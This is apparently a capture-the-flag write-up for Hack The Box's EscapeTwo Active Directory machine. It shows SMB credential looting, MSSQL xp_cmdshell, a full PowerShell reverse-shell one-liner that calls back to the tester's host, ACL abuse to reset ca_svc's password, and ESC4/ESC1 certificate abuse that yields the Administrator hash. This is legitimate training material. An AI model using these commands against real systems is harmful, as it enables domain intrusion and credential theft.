Overview

The machine starts by enumerating SMB shares with provided credentials that expose a corrupted xlsx file, fixing its broken workbook relationship file recovers credentials used to authenticate to MSSQL as sa, enabling xp_cmdshell reveals the sql_svc user whose password is found in a configuration file and reused by ryan to get WinRM access, bloodhound shows ryan has WriteOwner over ca_svc so we take ownership, reset the password, then enumerate ADCS as ca_svc to find the DunderMifflinAuthentication template vulnerable to ESC4, modify it to allow UPN impersonation, request a certificate as Administrator, and authenticate with certipy to retrieve the NT hash and get full domain compromise.

As is common in real life Windows pentests, you will start this box with credentials for the following account: rose / KxEPkKe6R8su

Enumeration

as usual we'll start with nmap to see what's running on this machine

it is pretty obvious that this is AD environment and there is some things that we need to mark here

  1. the Domain name is sequel.htb and the FQDN is DC01.sequel.htb
  2. there is ADCS in place with this CA sequel-DC01-CA
  3. clock skew is just 2 seconds so it is fine

so lets update the hosts file

shell
10.129.232.128 DC01 DC01.sequel.htb sequel.htb

and AD likes it in this format

Accounting Department Share

Lets take a look at what we can do using the given account

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo]
└──╼ [★]$ nxc smb 10.129.232.128 -u 'rose' -p 'KxEPkKe6R8su'
SMB 10.129.232.128 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.128 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo]
└──╼ [★]$ nxc ldap 10.129.232.128 -u 'rose' -p 'KxEPkKe6R8su'
LDAP 10.129.232.128 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) (signing:None) (channel binding:Never)
LDAP 10.129.232.128 389 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo]
└──╼ [★]$ nxc smb 10.129.232.128 -u 'rose' -p 'KxEPkKe6R8su' --shares
SMB 10.129.232.128 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.232.128 445 DC01 [+] sequel.htb\rose:KxEPkKe6R8su
SMB 10.129.232.128 445 DC01 [*] Enumerated shares
SMB 10.129.232.128 445 DC01 Share Permissions Remark
SMB 10.129.232.128 445 DC01 ----- ----------- ------
SMB 10.129.232.128 445 DC01 Accounting Department READ
SMB 10.129.232.128 445 DC01 ADMIN$ Remote Admin
SMB 10.129.232.128 445 DC01 C$ Default share
SMB 10.129.232.128 445 DC01 IPC$ READ Remote IPC
SMB 10.129.232.128 445 DC01 NETLOGON READ Logon server share
SMB 10.129.232.128 445 DC01 SYSVOL READ Logon server share
SMB 10.129.232.128 445 DC01 Users READ

and as you can see we got access to SMB and LDAP we'll use LDAP later for enumeration with rusthound and looking at the shares we got access to 2 shares

  1. Accounting Deparatement
  2. Users

so lets take what's in there

and we got 2 xlsx files so lets take a look

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo]
└──╼ [★]$ smbclient //10.129.232.128/'Accounting Department' -Urose%'KxEPkKe6R8su'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun Jun  9 03:52:21 2024
  ..                                  D        0  Sun Jun  9 03:52:21 2024
  accounting_2024.xlsx                A    10217  Sun Jun  9 03:14:49 2024
  accounts.xlsx                       A     6780  Sun Jun  9 03:52:07 2024

                6367231 blocks of size 4096. 800957 blocks available
smb: \> mget *
Get file accounting_2024.xlsx? y
getting file \accounting_2024.xlsx of size 10217 as accounting_2024.xlsx (17.4 KiloBytes/sec) (average 17.4 KiloBytes/sec)
Get file accounts.xlsx? y
getting file \accounts.xlsx of size 6780 as accounts.xlsx (7.7 KiloBytes/sec) (average 11.6 KiloBytes/sec)

and that's the accounting_2024.xslx file and the other file accounts.xslx is corrupted

ss_20260602_085626.png

Looked around for a while and figured that our only way is to try and recover as much data as we can from the corrupted file

it shows that one of rels is missing or incorrect so let's unzip it and try and fix that one ss_20260602_090603.png

so now what we'll do is to look for that broken rid inside relation sheet and delete it and try to rebuild it up

plaintext
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo/accounts]
└──╼ [★]$ unzip ../accounts.xlsx 
Archive:  ../accounts.xlsx
file #1:  bad zipfile offset (local header sig):  0
  inflating: xl/workbook.xml         
  inflating: xl/theme/theme1.xml     
  inflating: xl/styles.xml           
  inflating: xl/worksheets/_rels/sheet1.xml.rels  
  inflating: xl/worksheets/sheet1.xml  
  inflating: xl/sharedStrings.xml    
  inflating: _rels/.rels             
  inflating: docProps/core.xml       
  inflating: docProps/app.xml        
  inflating: docProps/custom.xml     
  inflating: [Content_Types].xml     

here is how xslx files work An xlsx is a zip archive with XML files inside. The key ones here:

  • xl/workbook.xml which defines the workbook: sheet names, their IDs, and references to them via r:id
  • xl/_rels/workbook.xml.rels the relationships file that maps those r:id values to actual file paths
  • xl/worksheets/sheet1.xml the actual sheet data
  • xl/worksheets/_rels/sheet1.xml.rels relationships within the sheet (hyperlinks, images, etc.)

here is how the current files look like

plaintext
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo/accounts]
└──╼ [★]$ cat xl/workbook.xml 
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><fileVersion appName="Calc"/><workbookPr backupFile="false" showObjects="all" date1904="false"/><workbookProtection/><bookViews><workbookView showHorizontalScroll="true" showVerticalScroll="true" showSheetTabs="true" xWindow="0" yWindow="0" windowWidth="16384" windowHeight="8192" tabRatio="500" firstSheet="0" activeTab="0"/></bookViews><sheets><sheet name="Sheet1" sheetId="1" state="visible" r:id="rId3"/></sheets><calcPr iterateCount="100" refMode="A1" iterate="false" iterateDelta="0.001"/><extLst><ext xmlns:loext="http://schemas.libreoffice.org/" uri="{7626C862-2A13-11E5-B345-FEFF819CDC9F}"><loext:extCalcPr stringRefSyntax="CalcA1"/></ext></extLst></workbook>┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo/accounts]
└──╼ [★]$ cat xl/
sharedStrings.xml  styles.xml         theme/             workbook.xml       worksheets/        
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo/accounts]
└──╼ [★]$ cat xl/worksheets/_rels/sheet1.xml.rels 
<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="mailto:angela@sequel.htb" TargetMode="External"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="mailto:oscar@sequel.htb" TargetMode="External"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="mailto:kevin@sequel.htb" TargetMode="External"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/hyperlink" Target="mailto:sa@sequel.htb" TargetMode="External"/>
</Relationships>┌

workbook says <sheet name="Sheet1" r:id="rId3"/> So Excel looks up rId3 in workbook.xml.rels to find where Sheet1's data is. But workbook.xml.rels only had hyperlink entries the worksheet mapping was never there. Excel couldn't find Sheet1, hence the error.

so the fix will be We need to replace xl/_rels/workbook.xml.rels with three proper entries: rId1 → styles.xml (formatting rules) rId2 → sharedStrings.xml (text values used in cells) rId3 → worksheets/sheet1.xml (the actual sheet data)

and then rebuilding all this again so we'll add this content to the file xl/_rels/workbook.xml

plaintext
<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
  <Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>
  <Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
</Relationships>

now if we reopened the file we'll get these credentials ss_20260602_092104.png

the interesting one is sa account which is usually a user for mssql so lets see if it'll work

using nxc we'll see the mssql authentication didn't work but trying local auth worked so lets login to mssql using that account and see what permissions we have

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo]
└──╼ [★]$ nxc mssql sequel.htb -u sa -p 'MSSQLP@ssw0rd!'
MSSQL 10.129.232.128 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) (EncryptionReq:False)
MSSQL 10.129.232.128 1433 DC01 [-] sequel.htb\sa:MSSQLP@ssw0rd! (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth' )
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo]
└──╼ [★]$ nxc mssql sequel.htb -u sa -p 'MSSQLP@ssw0rd!' --local-auth
MSSQL 10.129.232.128 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:sequel.htb) (EncryptionReq:False)
MSSQL 10.129.232.128 1433 DC01 [+] DC01\sa:MSSQLP@ssw0rd! (Pwn3d!)

and we got some important info here first we are sysadmin on the db so we can enable xp_cmdshell so i check what user is running the mssql it isn't the sa it is a different user we can try to get a revshell directly but it is better to have a password for this sql_svc user incase we need it later

MSSQL as sa

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo]
└──╼ [★]$ mssqlclient.py sequel.htb/sa:'MSSQLP@ssw0rd!'@10.129.232.128
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2019 RTM (15.0.2000)
[!] Press help for extra shell commands
SQL (sa dbo@master)> SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');

- -
1 1
SQL (sa dbo@master)> enable_xp_cmdshell
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install.
INFO(DC01\SQLEXPRESS): Line 185: Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install.
SQL (sa dbo@master)> xp_cmdshell whoami
output
--------------
sequel\sql_svc
NULL
SQL (sa dbo@master)>

one of the msot common techniques to get hash is to listen for smb connections using sudo responder -I tun0 and invoke an smb authentication from mssql to get the hash of the user running it and as you can see we did ss_20260602_093527.png

so our plan now is to try and crack this, and if it didn't work we'll move to getting a reverse shell

and as you can see the crack attempt was exhausted so lets get a revshell

Shell as svc_sql

my way in getting a rev shell is by hosting the shell itself on my device on an http.server and the payload will be the IEX with the downloaded string for my hosted shell this way i would know if the shell was downloaded and not executed due to firewall issues or it didn't reach me back at all

for this I'll use nishang Invoke One liner for powershell

bash
cat s.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.83',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' ;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

and as you can see we sent the powershell command to invoke request to get the shell from our host then execute it in memory using IEX once command got executed we can see the request on our server in 2 and we get a shell back as you can see in 3 ss_20260602_095549.png

and after looking at the Users directory I see that there is a user called ryan so i figured this is the right time to run bloodhound and look at the data

at this point i got nothing after running bloodhound data so i went back to the shell and looked around for any files that might leak credentials

so i found this file that leaks the sql_svc password and because usually there is a password reuse in any environment I decided to get a list of users in this domain and do authenticate against them

and as you can see we've got a hit the user ryan is the one who setup svc so probably reused his own password so lets see if we can get a shell as this user

and by looking at this accounts groups we see he is member of Remote Management Group so lets login using WINRM

WINRM as ryan

and we got user as you can see ss_20260602_101415.png

Lets take a look at what this user ryan can do in bloodhound Pasted image 20260602212758.png and as you can see we got writeowner over the CA_SVC user so one way to exploit this cause there is a CA in place

CA_SVC password change

and to abuse the WriteOwner Edge we need to do next

  1. add ourselves as the victim's owner
  2. and because we are owners we can add rights so we'll give ourselves the right to change password
  3. then change the password

and as you can see now we changed the password for the ca_svc account

bash
*Evil-WinRM* PS C:\Users\ryan\Documents> Set-DomainObjectOwner -Identity "ca_svc" -OwnerIdentity "ryan"
*Evil-WinRM* PS C:\Users\ryan\Documents> Add-DomainObjectAcl -TargetIdentity "ca_svc" -Rights ResetPassword -PrincipalIdentity "ryan"
*Evil-WinRM* PS C:\Users\ryan\Documents> $cred = ConvertTo-SecureString "Password123!" -AsPlainText -Force
*Evil-WinRM* PS C:\Users\ryan\Documents> Set-DomainUserPassword -Identity "ca_svc" -AccountPassword $cred

we could've also done it from Linux this way

Linux

add yourself as the owner

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo/test]
└──╼ [★]$ bloodyAD --domain sequel.htb --host 10.129.7.160 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set owner 'CA_SVC' ryan
[+] Old owner S-1-5-21-548670397-972687484-3496335370-512 is now replaced by ryan on CA_SVC

then give ourselves generic all over it

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo/test]
└──╼ [★]$ bloodyAD --domain sequel.htb --host 10.129.7.160 -u 'ryan' -p 'WqSZAF6CysDQbGb3' add genericAll ca_svc ryan
[+] ryan has now GenericAll on ca_sv

and change the password

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo/test]
└──╼ [★]$ bloodyAD --domain sequel.htb --host 10.129.7.160 -u 'ryan' -p 'WqSZAF6CysDQbGb3' set password ca_svc 'Password123!'
[+] Password changed successfully!

the reason I did it from windows in the first place cause i got issues with my impacket version but you can even do that with dacl edit and owenredit from impacket if you want

and as you can see it worked lets enumerate vulnerable templates for this user

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo]
└──╼ [★]$ nxc smb 10.129.7.154 -u 'ca_svc' -p 'Password123!'
SMB 10.129.7.154 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:sequel.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.7.154 445 DC01 [+] sequel.htb\ca_svc:Password123!

and as you can see this template is vulnerable to ESC4 so lets abuse it

ESC4 is just a dangerous permission over a template so we use this permission to make the template vulnerable to ESC1 and abuse ESC1 and I'll leave the wiki of certipy down below in the resources for you to take a look

and the Cert Publishers can enroll in this template and the user CA_SVC is a member of that group Pasted image 20260602213125.png

first we change the template to a vulnerable state

bash
certipy template -u ca_svc@sequel.htb -p 'Password123!' -dc-ip 10.129.7.154 -dc-host DC01.sequel.htb -template 'DunderMifflinAuthentication' -write-default-configuration
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Saving current configuration to 'DunderMifflinAuthentication.json'
[*] Wrote current configuration for 'DunderMifflinAuthentication' to 'DunderMifflinAuthentication.json'
[*] Updating certificate template 'DunderMifflinAuthentication'
[*] Replacing:
[*]     nTSecurityDescriptor: b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'
[*]     flags: 66104
[*]     pKIDefaultKeySpec: 2
[*]     pKIKeyUsage: b'\x86\x00'
[*] pKIMaxIssuingDepth: -1
[*]     pKICriticalExtensions: ['2.5.29.19', '2.5.29.15']
[*]     pKIExpirationPeriod: b'\x00@9\x87.\xe1\xfe\xff'
[*]     pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2']
[*]     pKIDefaultCSPs: ['2,Microsoft Base Cryptographic Provider v1.0', '1,Microsoft Enhanced Cryptographic Provider v1.0']
[*]     msPKI-Enrollment-Flag: 0
[*]     msPKI-Private-Key-Flag: 16
[*]     msPKI-Certificate-Name-Flag: 1
[*]     msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2']
Are you sure you want to apply these changes to 'DunderMifflinAuthentication' ? (y/N): y
[*] Successfully updated 'DunderMifflinAuthentication'

and here we got the request ID

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo]
└──╼ [★]$ certipy req -u ca_svc@sequel.htb -p 'Password123!' -dc-ip 10.129.7.154 -target-ip 10.129.7.154 -template 'DunderMifflinAuthentication' -ca 'sequel-DC01-CA' -upn 'administrator@sequel.htb'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 7
[-] Got error while requesting certificate: code: 0x8009480f - CERTSRV_E_SUBJECT_DNS_REQUIRED - The Domain Name System (DNS) name is unavailable and cannot be added to the Subject Alternate name.
Would you like to save the private key? (y/N): y
[*] Saving private key to '7.key'
[*] Wrote private key to '7.key'
[-] Failed to request certificate

the issue is that we didn't do it fast enough so I redid it fast and it worked as you can see

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo]
└──╼ [★]$ certipy req -u ca_svc@sequel.htb -p 'Password123!' -dc-ip 10.129.7.154 -target dc01.sequel.htb -template 'DunderMifflinAuthentication' -ca 'sequel-DC01-CA' -upn 'administrator@sequel.htb' -dns dc01.sequel.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 13
[*] Successfully requested certificate
[*] Got certificate with multiple identities
    UPN: 'administrator@sequel.htb'
    DNS Host Name: 'dc01.sequel.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator_dc01.pfx'
[*] Wrote certificate and private key to 'administrator_dc01.pfx'

all we need to do is to authenticate now using the pfx we got it'll ask us for which UPN and select 0

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/EscapeTwo]
└──╼ [★]$ certipy auth -pfx administrator_dc01.pfx -dc-ip 10.129.7.154
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@sequel.htb'
[*]     SAN DNS Host Name: 'dc01.sequel.htb'
[*] Found multiple identities in certificate
[*] Please select an identity:
    [0] UPN: 'administrator@sequel.htb' (administrator@sequel.htb)
    [1] DNS Host Name: 'dc01.sequel.htb' (dc01$@sequel.htb)
> 0
[*] Using principal: 'administrator@sequel.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@sequel.htb': aad3b435b51404eeaad3b435b51404ee:7a8d4e04986afa8ed4060f75e5a0b3ff

and we got root ss_20260602_111733.png

Resources